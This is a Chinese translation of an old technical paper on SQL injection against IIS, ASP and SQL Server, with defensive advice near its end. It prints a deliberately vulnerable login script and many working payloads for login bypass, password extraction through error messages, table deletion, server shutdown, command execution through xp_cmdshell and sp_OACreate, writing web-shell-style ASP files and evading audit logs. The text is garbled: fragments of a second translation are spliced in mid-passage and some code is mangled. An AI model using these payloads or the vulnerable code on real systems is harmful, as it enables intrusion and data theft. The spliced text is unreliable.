核心提示:SQL是一种用于关系数据库的结构化查询语言。它分为许多种

这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。

[概 要] 这篇文章讨论常用的”sql注入”技术的细节,应用于流行的Ms
IIS/ASP/SQL-Server平台。这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法。这篇文章面向两种读者:一是基于数据库web程序开发人员和审核各种web程序的安全专家。
[介 绍]
结构化查询语言(SQL)是一种用来和数据库交互的文本语言SQL语言多种多样,大多的方言版本都共同宽松地遵循SQL-92标准(最新的ANSI标准[译者注:目前最新的是SQL-99])。SQL运行的典型的操作是“查询”,它是可以让数据库返回“查询结果记录集”的语句集合。SQL语句可以修改数据库的结构(用数据定义语言”DDL”)和操作数据库里的数据(用数据操作语言”DML”)。我们在这里着重讨论Transact-SQL(交互式SQL),应用于SQL-Server的SQL一种方言(非标准SQL)。如果攻击者可以插一系列的SQL语句进入应用程序的数据查询时,Sql注入攻击就可能发生。
一个典型的SQL语句是这样的: select id, forename, surname from authors
这个查询语句将会从’authors’表中返回’id’,’forename’和’surname’列的所有行。返回的结果集也可以加以特定条件’author’限制:
select id, forename, surname from authors where forename = ‘john’ and
surname = ‘smith’
注意这里很重要的一点是’john’和’smith’是被单引号引住的,假设’forename’和’surname’字段是来自于用户的输入,攻击者就可能通过输入非法字符串来对这个查询进行SQL注入:
Forename:jo’hn Surname: smith 查询语句就会变成: select id, forename,
surname from authors where forename = ‘jo’hn’ and surname = ‘smith’
当数据库试图执行这个查询,它会返回这样的错误: Server:Msg 170, Level 15,
State 1, Line 1 Line 1:Incorrect syntax near ‘hn’
这是因为插入的单引号破坏了原来单引号引住的数据,数据库执行到’hn’时失败。如果攻击者这样输入:
Forename: jo’; drop table authors– Surname:
…authors表就会被删掉,原因过一会再解释。
似乎通过删除用户输入的字符串中的单引号或者通过一些方法避免它们出现可以解决这个问题。诚然如此,但是要实施这个解决方法还有很多的困难。因为首先:不是所有的用户提交的数据都是字符串形式,比如我们的用户输入通过’id'(看上去是个数字)来选择一个用户,我们的查询可能会这样:
select id,forename,surname from authors where id=1234
在这种情况下攻击者可以轻易的在数值输入后面添加SQL语句。在其他SQL方言中,使用着各种分隔符,比如MS
Jet DBMS引擎,日期可以用’#’符号来分隔。
其次,避免单引号并不像开始我们想象的那样是必要的解决办法,原因下面讨论。
我们将以Active Server
Pages(ASP)登陆页面为例子来详细说明,它访问一个Sql-Server数据库并且验证一个到我们假想的程序的访问。
这是用户填写用户名和密码的表单页面: 复制代码 代码如下: HTML HEAD TITLELogin
Page/TITLE /HEAD BODY bgcolor=’000000′ text=’cccccc’ FONT Face=’tahoma’
color=’cccccc’ CENTERH1Login/H1 FORM action=’process_login.asp’
method=post TABLE TRTDUsername:/TDTDINPUT type=text name=username
size=100%width=100/INPUT/TD/TR TRTDPassword:/TDTDINPUT type=password
name=password size=100% width=100/INPUT/TD/TR /TABLE INPUT type=submit
value=’Submit’ INPUT type=reset value=’Reset’ /FORM /FONT /BODY /HTML
这是’process_login.asp’的代码, 它处理用户登陆: 复制代码 代码如下: HTML BODY bgcolor=’000000′
text=’ffffff’ FONT Face=’tahoma’ color=’ffffff’ STYLE p { font-size=20pt
! important} font { font-size=20pt ! important} h1 { font-size=64pt !
important} /STYLE %@LANGUAGE = JScript % % function trace( str ) { if(
Request.form(“debug”) == “true” ) Response.write( str ); } function
Login( cn ) { var username; var password; username =
Request.form(“username”); password = Request.form(“password”); var rso =
Server.CreateObject(“ADODB.Recordset”); var sql = “select * from users
where username = ‘” + username + “‘ and password = ‘” + password + “‘”;
trace( “query: ” + sql ); rso.open( sql, cn ); if (rso.EOF) {
rso.close(); %FONT Face=’tahoma’ color=’cc0000′ H1 BRBR CENTERACCESS
DENIED/CENTER /H1 /BODY /HTML % Response.end return; } else {
Session(“username”) = “” + rso(“username”); % FONT Face=’tahoma’
color=’00cc00′ H1 CENTERACCESS GRANTEDBR BR Welcome, %
Response.write(rso(“Username”)); Response.write( “/BODY/HTML” );
Response.end } } function Main() { //Set up connection var username var
cn = Server.createobject( “ADODB.Connection” ); cn.connectiontimeout =
20; cn.open( “localserver”, “sa”, “password” ); username = new String(
Request.form(“username”) ); if( username.length 0) { Login( cn ); }
cn.close(); } Main(); % 这里讨论的是’process_login.asp’中的创建’query
string’的部分: var sql = “select * from users where username = ‘” +
username + “‘ and password = ‘” + password + “‘”;
如果用户指定了下面这样的数据: Username: ‘; drop table users– Password:
‘users’表会被删除,所有用户都不能登陆。’–‘是Transact-SQL(交互式SQL)的单行注释符,’;’标志着一个查询的结束另一个查询的开始。用户名最后的’–‘用来使这个特殊的查询无错误结束。
攻击者只要知道用户名,就可以通过以下的输入以任何用户的身份登陆:
Username: admin’–
攻击者可以通过下面的输入以用户表里的第一个用户来登陆: Username: ‘ or
1=1– …更有甚者,攻击者通过以下的输入可以以任意虚构的用户登陆:
Username: ‘ union select 1, ‘fictional_user’, ‘somoe_password’, 1–
因为程序相信攻击者指定的常量是数据库返回的记录集的一部分。
[通过错误信息获取信息] 这个技术是David
Litchfield在一次渗透入侵测试中首先发现的,后来david写了篇关于这个技术的文章,很多作者都参考过这篇作品。这里我们讨论“错误消息”技术潜在的机制,使读者可以充分理解它并且能灵活应用。
为了操作数据库里的数据,攻击者要确定某个数据库的结构。例如:我们的”user”表是用下面的语句建立的:
复制代码 代码如下: create table users( id
int, username varchar(255), password varchar(255), privs int )
并且插入了下面的用户: insert into users values( 0, ‘admin’, ‘r00tr0x!’,
0xffff ) insert into users values( 0, ‘guest’, ‘guest’, 0x0000 ) insert
into users values( 0, ‘chris’, ‘password’, 0x00ff ) insert into users
values( 0, ‘fred’, ‘sesame’, 0x00ff )
我们假设攻击者要为自己插入一个用户,如果不知道表的结构的话,他不可能成功。即使他运气好,’priv’字段的重要性还不清楚。攻击者可能插入’1’,给自己在程序里添加了一个低权限的用户,而他的目标是管理员的权限。
对于攻击者来说幸运的是:如果程序返回错误(asp默认如此),攻击者可以猜测整个数据库的结构,读取ASP程序连接到SQL-Server的帐号权限内可以读取的任何值。
(下面给出的使用上面提供的示例数据库和asp脚本来说明这些技术怎样实现的)
首先,攻击者要确定查询的表名和字段名。要做到这点,攻击者可以使用’select’语句的’having’子句:
username: ‘ having 1=1 —
这会引起下面的错误(译者注:having字句必须和GROUP
BY或者聚合函数一起配合使用,否则出错): 复制代码 代码如下: Microsoft OLE DB Provider
for ODBC Drivers error ‘80040e14’ [Microsoft][ODBC SQL Server
Driver][SQL Server]Column ‘users.id’ is invalid in the select list
because it is not contained in an aggregate function and there is no
GROUP BY clause. /process_login.asp, line 35
所以攻击者就知道了表名和第一列的列名,他们可以通过给每列加上’group
by’子句继续得到其他列名,如下: 复制代码
代码如下: username: ‘ group by users.id having 1=1 —
(结果产生这样的错误) Microsoft OLE DB Provider for ODBC Drivers error
‘80040e14’ [Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘users.username’ is invalid in the select list because it is not
contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35 最后攻击者得到了下面的’username’: ‘ group
by users.id, users.username, users.password, users.privs having 1=1–
这句没有错误,相当于: select * from users where username = ”
所以攻击者知道了查询只是关于’users’表的,并且顺序使用了列’id,username,password,rpivs’。
如果攻击者能确定各列的数据类型将会很有用,可以利用类型转换错误信息来达到这一点,看下面的例子:
Username: ‘ union select sum(username) from users–
这利用了SQL-Server试图在确定两行是否相同之前先执行’sum’子句的特性,计算文本域的和会返回这样的信息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
它告诉我们’username’字段的类型是’varchar’。相反的,如果我们试图计算数值型的字段,但结果两行的列数并不匹配:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
我们可以用这个技术来大概地确定数据库内各列的类型。
这样攻击者就可以写出一个格式完美的’insert’语句: Username: ‘; insert
into users values( 666, ‘attacker’, ‘foobar’, 0xffff )–
但是,这个技术的潜力不止这些。攻击者可以利用任何错误信息来暴露系统环境或者数据库信息。执行下面的语句可以得到一个标准错误信息的清单:
select * from master..sysmessages 检查这个清单可以发现很多有趣的信息。
一个特别有用的信息有关类型转换,如果你试图将一个字符串转换成整型,整个字符串的内容将会出现在错误信息里。以我们登陆页的例子来说,使用下面的’username’将会返回SQL-Server的版本以及它所在服务器操作系统的版本信息:
Username: ‘ union select @@version,1,1,1– Microsoft OLE DB Provider for
ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL Server
Driver][SQL Server]Syntax error converting the nvarchar value
‘Microsoft SQL Server 2000 – 8.00.194 (Intel X86) Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on
Windows NT 5.0 (Build 2195: Service Pack 2) ‘ to a column of data type
int. /process_login.asp, line 35
这试图将内置常量’@@version’转换成整型,因为’users’表第一列是整数。
这个技术可以用来读取任何数据库的任何表的任何内容,如果攻击者对用户名和密码感兴趣,他们就可以从’users’表读用户名:
Username: ‘ union select min(username),1,1,1 from users where username
‘a’– 这将选出比’a’大的最小用户名,而且试图将它转换成一个整数: Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC
SQL Server Driver][SQL Server]Syntax error converting the varchar
value ‘admin’ to a column of data type int. /process_login.asp, line 35
攻击者就知道’admin’帐号存在,他现在可以把他发现的用户名放进’where’子句来反复测试这行:
Username: ‘ union select min(username),1,1,1 from users where username
‘admin’– Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value ‘chris’ to a column of data type int.
/process_login.asp, line 35 一旦攻击者确定了用户名,他就可以搜集密码;
Username: ‘ union select password,1,1,1 from users where username =
‘admin’– Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value ‘r00tr0x!’ to a column of data type int.
/process_login.asp, line 35
一个更“别致”的技术是将用户名和密码连接成一个单独的字符传,然后试图将它转换成整型。这将举另一种例子;Transact-SQL语句可以将字符串连接成一行而不改变他们的意义,下面的脚本将连接这些值:
复制代码 代码如下: begin declare @ret
varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+username+’/’+password
from users where username@ret select @ret as ret into foo end
攻击者用这个’username’登陆(明显都在同一行) Username: ‘;begin declare
@ret varchar(8000) set @ret=’:’ select @ret=@ret+’
‘+username+’/’+password from users where username@ret select @ret as ret
into foo end–
这创建了一个只包含单列’ret’的表’foo’,而且把我们的字符串放在里面。通常一个低权限的用户可以在示例数据库里创建表,或者一个临时表。
之后攻击者选择查询表里的字符串,就像前面说的: 复制代码 代码如下: Username: ‘ union select
ret,1,1,1 from foo– Username: ‘ union select ret,1,1,1 from foo–
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value ‘: admin/r00tr0x! guest/guest
chris/password fred/sesame’ to a column of data type int.
/process_login.asp, line 35 然后删除这个表: Username: ‘; drop table
foo–
这些例子仅仅揭开了这项技术的神秘面纱,不用说,如果攻击者可以从数据库获得丰富的错误信息,他们的工作将大大的简化。
[更深入的访问]
一旦攻击者可以控制数据库,他们可能想通过这些权限来获得对网络更多的控制,可以通过很多方法来达到这一目的:
1.利用xp_cmdshell扩展存储以SQL-Server用户的身份在数据库服务器上执行命令
2.利用xp_regread扩展存储读取注册表的键值,也包括SAM(只要SQL-Server是以一个本地帐号运行的)
3.用其他的扩展存储改变服务器设置 4.在联合服务器上执行查询
5.创建客户扩展存储从而在SQL-Server进程内运行exploit 6.用’bulk
insert’语句去读服务器上任何文件 7.用bcp在服务器上创建任何文本文件
8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程来创建ActiveX对象来完成asp脚本可以做的任何事情
这些只是常见的攻击方法的一部分;攻击者也很可能通过其他方法来达到目的,我们列举这些SQL-Server相关的攻击方法是为了说明如果程序可以被注入SQL语句时可能会发生什么,我们将依次给出以上各种情况的对策。
[xp_cmdshell]
扩展存储的本质是编译了的动态链接库(DLLs),它用SQL-Server指定的调用方式去运行接口函数。他们允许SQL-Server程序拥有了和c/c++一样的功能,是个非常有用的特性。SQL-Server内置了大量的扩展存储,而且有各种各样的函数比如发送邮件和更改注册表。
xp_cmdshell是一个内置的扩展存储,它允许执行任意的命令行程序。例如:
exec master..xp_cmdshell ‘dir’
将会获得一个SQL-Server进程所在工作目录的列表 exec master..xp_cmdshell
‘net1 user’ 将提供主机用户的列表。如果SQL
Server正常的以本地’system’帐号或者’domain
user’帐号运行,攻击者可以造成更严重破坏。 [xp_regread]
另外一个有用的内置的扩展存储是xp_regXXX函数 xp_regaddmultistring
xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues
xp_regread xp_regremovemultistring xp_regwrite
其中一些函数的用法的举例: exec xp_regread HKEY_LOCAL_MACHINE
‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’,
‘nullsessionshares’ (它决定服务器的空连接式共享是否可用) exec
xp_regenumvalues HKEY_LOCAL_MACHINE
‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
(它显示所有的服务器上SNMP公共的设置,通过这个信息,攻击者可以在相同的网络区域里重新配置网络设置,因为SNMP共有设置很少被改变而且由很多主机共享)
可以想象攻击者怎样利用这些函数来读取SAM文件,改变系统设置在重新启动后就被服务的应用,或者在用户下一次登陆时运行任意命令。
[其他扩展存储]
xp_servicecontrol扩展存储允许用户启动,停止,暂停或者运行服务。 exec
master..xp_servicecontrol ‘start’, ‘schedule’ exec
master..xp_servicecontrol ‘start’, ‘server’
下面是一些其他有用的扩展存储表: xp_availablemedia
显示机器上可用的驱动器 xp_dirtree 获得一个目录树 xp_enumdsn
列举服务器上的ODBC数据源 xp_loginconfig 显示服务器的安全状态信息
xp_makecab 允许用户在服务器上创建压缩文件(或者任何服务器可以访问的文件)
xp_ntsec_enumdomains 列举服务器可以访问的域 xp_terminate_process
结束一个给定PID进程 [联合服务器]
SQL-Server提供了一个服务器联合的机制,就是允许一个数据库服务器上的查询操作其他服务器的数据。这些联合设置存放在master..sysservers表里,如果一个相连的服务器使用了’sp_addlinkedsrvlogin’存储过程,一个自动的登陆了的连接已经存在,可以通过它不登陆而访问该服务器。’openquery’函数允许查询在联合服务器上执行。
[用户自定义扩展存储]
扩展存储的API是相当简单的,创建一个带有恶意代码的扩展存储DLL也是相当容易的。通过命令行有很多方法将DLL上传到服务器,还有其他的很多方法包括各种通信机制来自动实现,比如HTTP下载和FTP脚本。
一旦DLL文件出现在服务器上SQL-Server可以访问,这不一定需要SQL-server本身,攻击者可以通过下面添加扩展存储(这里,我们的恶意扩展存储是个用来操作服务器的文件系统小的木马)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\xp_foo.dll’
扩展存储就可以通过一般的方法调用: exec xp_webserver
一旦这个扩展存储执行过,可以这样删除它: sp_dropextendedproc
‘xp_webserver’ [向表中导入文本文件] 利用’bulk
insert’语句,可以把一个文本文件的内容插入进一张临时表,我们简单的创建一个表:
create table foo( line varchar(8000) ) 然后执行bulk
insert来插入数据来自于一个文件: bulk insert foo from
‘c:\inetpub\\process_login.asp’
通过上面介绍过的错误信息技巧就可以得到数据,或者通过一个’union’查询,把文本数据作为查询的数据返回。这对于获得存储在数据库里的脚本如asp脚本很有用。
[利用BCP创建文本文件] 利用和’bulk
insert’作用相反的技术创建任意的文本文件非常简单。不过需要一个命令行工具’bcp'(‘bulk
copy
program’),因为bcp在SQL-Server进程外访问数据库,它需要一次登陆。但是这不难,因为攻击者都可以创建一个;或者如果服务器配置使用了“完整性”安全模式,攻击者可以利用它。
命令行格式如下: bcp “SELECT * FROM test..foo” queryout
c:\inetpub\\runcommand.asp -c -Slocalhost -Usa -Pfoobar
‘S’参数是要运行查询的服务器,’U’参数是用户名,’P’是密码,这里的密码是’foobar’。
[SQL-Server 里的ActiveX自动脚本]
SQL-Server提供了一些内置的扩展存储,允许在SQL-Server内创建ActiveX自动脚本。这些脚本在功能上和windows
scripting
host上运行的脚本或者asp脚本(通常用Javascript或者Vbscript编写)一样,脚本创建自动对象并且通过他们产生作用。一个用Transact-SQL写的自动脚本可以做任何asp脚本或者WSH脚本能做的事。
下面提供一些例子来说明:
1)这个例子用’wscript.shell’对象创建一个notepad的实例(当然这里也可以是任何命令行命令)
复制代码 代码如下: — wscript.shell
example declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec
sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
在我们的例子里可以使用这样的用户名(都在一行): Username: ‘; declare @o
int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o,
‘run’, NULL, ‘notepad.exe’–
2)这个例子用’scripting.filesystemobject’对象去读已知的文本文件: 复制代码 代码如下: —
scripting.filesystemobject example – read a known file declare @o int,
@f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate
‘scripting.filesystemobject’, @o out exec sp_oamethod @o,
‘opentextfile’, @f out, ‘c:\boot.ini’, 1 exec @ret = sp_oamethod @f,
‘readline’, @line out while( @ret = 0 ) begin print @line exec @ret =
sp_oamethod @f, ‘readline’, @line out end
3)下面的例子创建一个asp脚本执行任意命令: 复制代码 代码如下: —
scripting.filesystemobject example – create a ‘run this’ .asp file
declare @o int, @f int, @t int, @ret int exec sp_oacreate
‘scripting.filesystemobject’, @o out exec sp_oamethod @o,
‘createtextfile’, @f out, ‘c:\inetpub\\foo.asp’, 1 exec @ret =
sp_oamethod @f, ‘writeline’, NULL, ‘ ‘ 需要注意的很重要的一点是Windows
NT4,IIS4平台asp脚本将会以’system’的帐号运行,而在IIS5他们会以低权限的IWAM_xxx帐号运行。
4)这个例子(稍带欺骗性)说明这项技术的灵活性,它用’speech.voicetext'(译者注:参考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)对象,使SQL
Server说话: 复制代码 代码如下: declare
@o int, @ret int exec sp_oacreate ‘speech.voicetext’, @o out exec
sp_oamethod @o, ‘register’, NULL, ‘foo’, ‘bar’ exec sp_oasetproperty
@o, ‘speed’, 150 exec sp_oamethod @o, ‘speak’, NULL, ‘all your sequel
servers are belong to,us’, 528 waitfor delay ’00:00:05′
这当然也可以在我们的例子里使用,通过指定下面的’username'(注意例子不只是注入一段脚本,同时也以’admin’的身份登陆了程序)
用户名: admin’;declare @o int, @ret int exec sp_oacreate
‘speech.voicetext’,@o out exec sp_oamethod @o, ‘register’, NULL,
‘foo’,’bar’ exec sp_oasetproperty @o, ‘speed’, 150 exec sp_oamethod
@o, ‘speak’, NULL, ‘all your sequel servers are belong to us’, 528
waitfor delay ’00:00:05′- [存储过程]
传统的认识是如果ASP程序使用了数据库系统的存储过程,那么就不可能SQL注入了。这句话不完全对,这依赖于ASP脚本调用存储过程的方式。
本质上,一个带参数的查询执行了,用户提供的参数就被安全的传给查询,SQL注入就不可能了。但是,如果攻击者可以对无数据部分的查询语句施加任何影响,他们仍然可能控制数据库。
一个有用的规则是: 1.
如果ASP脚本创建了一个提交给服务器的SQL查询语句,这是很容易被SQL注入的,即使它使用了存储过程。

介绍:
SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构和操作数据库内容。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。

  介绍:

  1. 如果ASP脚本使用了封装传递参数给存储过程的过程对象(如ADO
    command对象,和参数集合一起使用的)那么它通常就很安全了,但是这还要取决于对象的执行。
    明显的,最好习惯于验证所有的用户输入,因为新的攻击技术会不停的涌现。
    为了说明存储过程查询的注入,运行下面的SQL语句: sp_who ‘1’ select *
    from sysobjects 或者 sp_who ‘1’ ; select * from sysobjects
    任何附加语句在存储过程执行后还是可以执行。 [高级Sql注入]
    一个应用程序通常过滤单引号,另一方面限制用户的输入,比如限制长度。
    在这里,我们将讨论一些绕过一些明显的SQL注入防范的和长度限制的技巧。
    [没有符号的字符串]
    有时候,开发人员可能已经通过过滤单引号来保护应用程序,比如用VBScript的’replace’函数:
    复制代码 代码如下: function escape( input
    ) input = replace(input, “‘”, “””) escape = input end function
    不可否认,这会阻止所有的对我们上面给出的对示例站点的攻击,删除’;’字符也会起作用。但是,在一个大的程序里一些用户输入可能被假定为数值型。这些值没有限制,提供了很多可以注入的地方。
    如果攻击者希望创建一个字符串值而不使用引号,他们可以用’char’函数。例如:
    复制代码 代码如下: insert into users
    values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
    char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)
    它是一个往表里插入字符的不带引号的查询语句。
    当然,如果攻击者使用一个数值型的用户名和密码的话,下面的语句也同样可以很好的执行:
    insert into users values( 667, 123, 123, 0xffff)
    因为SQL-Server自动将数值型的转换成’varchar’类型,类型转换是默认的。
    [SQL二次注入]
    即使一个程序总是过滤单引号,攻击者仍然可以先注入SQL作为数据存放在数据库里然后被程序再次使用。
    比如,一个攻击者可能通过注册,创建一个用户名 Username: admin’–
    Password: password 程序正确的过滤了单引号,’insert’语句如下: insert
    into users values ( 123, ‘admin”–‘, ‘password’, 0xffff)
    我们假设程序允许用户更改密码,ASP脚本在设置新的密码前先确认用户旧密码正确。代码可能这样写:
    复制代码 代码如下: username = escape(
    Request.form(“username”) ); oldpassword = escape(
    Request.form(“oldpassword”) ); newpassword = escape(
    Request.form(“newpassword”) ); var rso =
    Server.CreateObject(“ADODB.Recordset”); var sql = “select * from users
    where username = ‘” + username + “‘ and password = ‘” + oldpassword +
    “‘”; rso.open( sql, cn ); if (rso.EOF) { …
    设置新密码的查询语句可能这样写的: sql = “update users set password = ‘”

一个典型的SQL语句如下: Select id,forename,surname from authors
这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
Select id,forename,surname from authors where forenamejohn and
surname=smith
需要着重指明的是字符串john和smith被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,
如下: Forename:john Surname:smith 查询语句变为: Select
id,forename,surname from authors where forename=john and surname=smith
当数据库试图去执行这个查询时,它将返回如下错误: Server:Msg 170, Level
15, State 1, Line 1 Line 1:Incorrect syntax near hn
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行hn,但是失败。如果攻击者提供特别的输入如:
Forename:jo;drop table authors― Surname:
结果是authors表被删除,造成这种结果的原因我们稍后再讲。

  SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。

  • newpassword + “‘ where username = ‘” + rso(“username”) + “‘”
    rso(“username”)是登陆的查询返回的的用户名。
    用户名为admin’–,上面的查询就变成了这样: update users set password =
    ‘password’ where username = ‘admin’–‘
    因此攻击者可以通过注册了一个名叫admin’–的用户来把admin的密码改成他们自己的。
    这是个危险的问题,目前大部分的大型程序都试图过滤数据。最好的解决方法是拒绝非法输入,而不是简单的改变它。这有时候会导致一些问题,非法字符在某些地方是必要的,比如在名字带符号的情况:
    O’Brien
    从安全的角度,最好的解决办法是不允许出现单引号。如果这样不行,必须避免它们出现,这种情况下,最好保证所有要进入SQL语句的字符(包括从数据库里取出的字符)都被正确的处理过。
    即使这样攻击依然可能实现:如果攻击者可以不经过程序而往系统插入数据。比如攻击者有一个email接口,或者有一个可以控制的错误记录数据库。最好总是验证所有的数据,包括系统里的数据,验证函数调用很简单,比如:
    if ( not isValied( “email”, request.querystring(“emil”) ) ) then
    response.end 或者其他的方法 [长度限制]
    有时候输入对数据的长度加以限制会使攻击困难许多,这的确阻止了一些攻击,但一个很短的SQL语句也可能造成非常大的危害:
    Username: ‘;shutdown– 关闭SQL-Server,只用了12个字符。另一个例子: drop
    table
    如果长度限制是在字符串过滤后,另一个问题可能会发生。假设用户名被限制在16个字符之内,密码也被限制在16个字符之内,下面的用户名和密码结合可以执行’shutdown’命令:
    Username:aaaaaaaaaaaaaaa’ Password:’; shutdown–
    原因是程序过滤用户名最后的单引号,但是字符串又被切回到16个字符,删除了过滤的单引号。结果是密码域可以包含一些SQL,
    只要它以一个单引号开始,最后的查询会变成这样: select * from users where
    username = ‘aaaaaaaaaaaaaa” and password=”’;shutdown–
    用户名在查询里就变成: aaaaaaaaaaaaaaa’ and password=’
    后面附上的SQL被执行。 [躲避审核] SQL
    Server在sp_traceXXX系列的函数包含丰富审核接口,它可以记录任何数据库里的事件。这里我们特别感兴趣的是T-SQL事件,它记录了所有的SQL语句以及服务器上准备好的和已运行了的批处理。如果这个级别的审核开启的话,所有我们讨论的注入都将被记录下来有经验的数据库管理员将会看到所有发生的事情。但是如果攻击者附加下面的字符:
    sp_password 到一个Transact-SQL语句,这个审核记录如下: —
    ‘sp_password’ was found in the text of this event. — The text has been
    replaced with this comment for security reasons.
    这在所有的的T-SQL日志记录时都会发生,即使’sp_password’出现在注释中。这当然是在用户传递sp_password时有意隐藏用户的明文密码,但这对攻击者相当有用。
    所以,为了隐藏所有的注入攻击者只需要在注释符’–‘后面加一个字符串:
    Username: admin’–sp_password
    事实上一些执行了的SQL将被记录,但是查询字符串本身被强制不记录。 [防
    范]
    这部分讨论一些针对这些攻击的防范措施。输入验证已经讨论过了,一些代码也给出了,后面我们研究SQL-Server防范问题。
    [输入验证]
    输入验证是一个很复杂的问题。一般在一个开发项目中它很少被注意,因为过度的验证往往使一个程序的某部分被打断,所以输入验证是个难题。输入验证往往不加到程序的功能里,因而在工期将至而赶程序时不会被人注意。
    下面是关于验证的简单的讨论附示例代码,这个示例代码当然不能直接用在程序里,但可以很好的说明不同的策略。
    各种数据验证的途径可以分类为以下几种: 1)整理数据使之变得有效
    2)拒绝已知的非法输入 3)只接受已知的合法的输入
    有很多概念上的问题;首先,开发者没有必要知道非法数据由什么组成,因为新形式的非法数据随时都可能产生。第二,改变数据会改变它的长度,这样会导致前面提到的问题。最后,还有需要对系统已有数据的重用的话有二次注入的问题.
    解决方案2也会遇到和1的一些相似的问题,了解非法数据会过时,因为新的攻击技术也在发展。
    解决方案3可能是三种方法中最好的,但是比较难于执行。
    从安全角度来考虑可能最好多解决方法是把解决方案2和3结合起来只允许合法的输入,然后再寻找非法字符。
    一个必须结合这两种途径的例子是带有连字符的名字的问题: Question
    Bassington-Bassington
    我们必须在合法输入里允许连字符号,但是也要明白字符串’–‘在SQL-Server里意味着什么。
    当数据整理结合了非法字符验证时另一个问题就会发生。假设我们应用“非法字符探测器”来探测’–‘,’select’和’union’”后使用“数据整理过滤器”删除单引号,攻击者就可以指定这样的输入:
    uni’on sel’ect @@version-‘-
    因为单引号被过滤器删除了,攻击者可以把单引号散布于它的已知的非法字符串里来躲避检查。
    下面是一些验证的代码: 方法1-躲避单引号 复制代码 代码如下: function escape( input )
    input = replace(input, “‘”, “””) escape = input end function
    方法2-抵制已知的非法输入 复制代码
    代码如下: function validate_string( input ) know_bad = array(
    “select”, “insert”, “update”, “delete”, “drop”, “–“, “‘”)
    validate_string = true for i = lbound( know_bad ) to ubound(
    known_bad ) if( instr( 1, input, known_bad(i), vbtextcompare) 0 )
    validate_string = false exit function end if next end function
    方法3-只允许合法输入 复制代码 代码如下:
    function validatepassword( input ) good_password_chars =
    “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
    validatepassword = true for i = 1 to len( input ) c = mid( input, i, 1 )
    if ( instr( good_password_chars, c ) = 0 ) then validatepassword =
    false exit function end if next end function

看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
Select id,forename,surname from authors where id=1234
在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用#限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。

  当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。

我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码,让用户输入用户名和密码: <HTML <HEAD
<TITLELogin Page</TITLE </HEAD

  一个典型的SQL语句如下:

<BODY bgcolor=000000 text=cccccc <FONT Face=tahoma color=cccccc
<CENTER<H1Login</H1 <FORM action=process_loginasp method=post
<TABLE <TR<TDUsername:</TD<TD<INPUT type=text name=username
size=100 width=100</TD</TR <TR<TDPassword:</TD<TD<INPUT
type=password name=password size=100 withd=100</TD</TR </TABLE
<INPUT type=submit value=Submit<INPUT type=reset value=Reset </FORM
</Font </BODY </HTML
下面是process_login.asp的代码,它是用来控制登陆的: <HTML <BODY
bgcolor=000000 text=ffffff <FONT Face=tahoma color=ffffff <STYLE p {
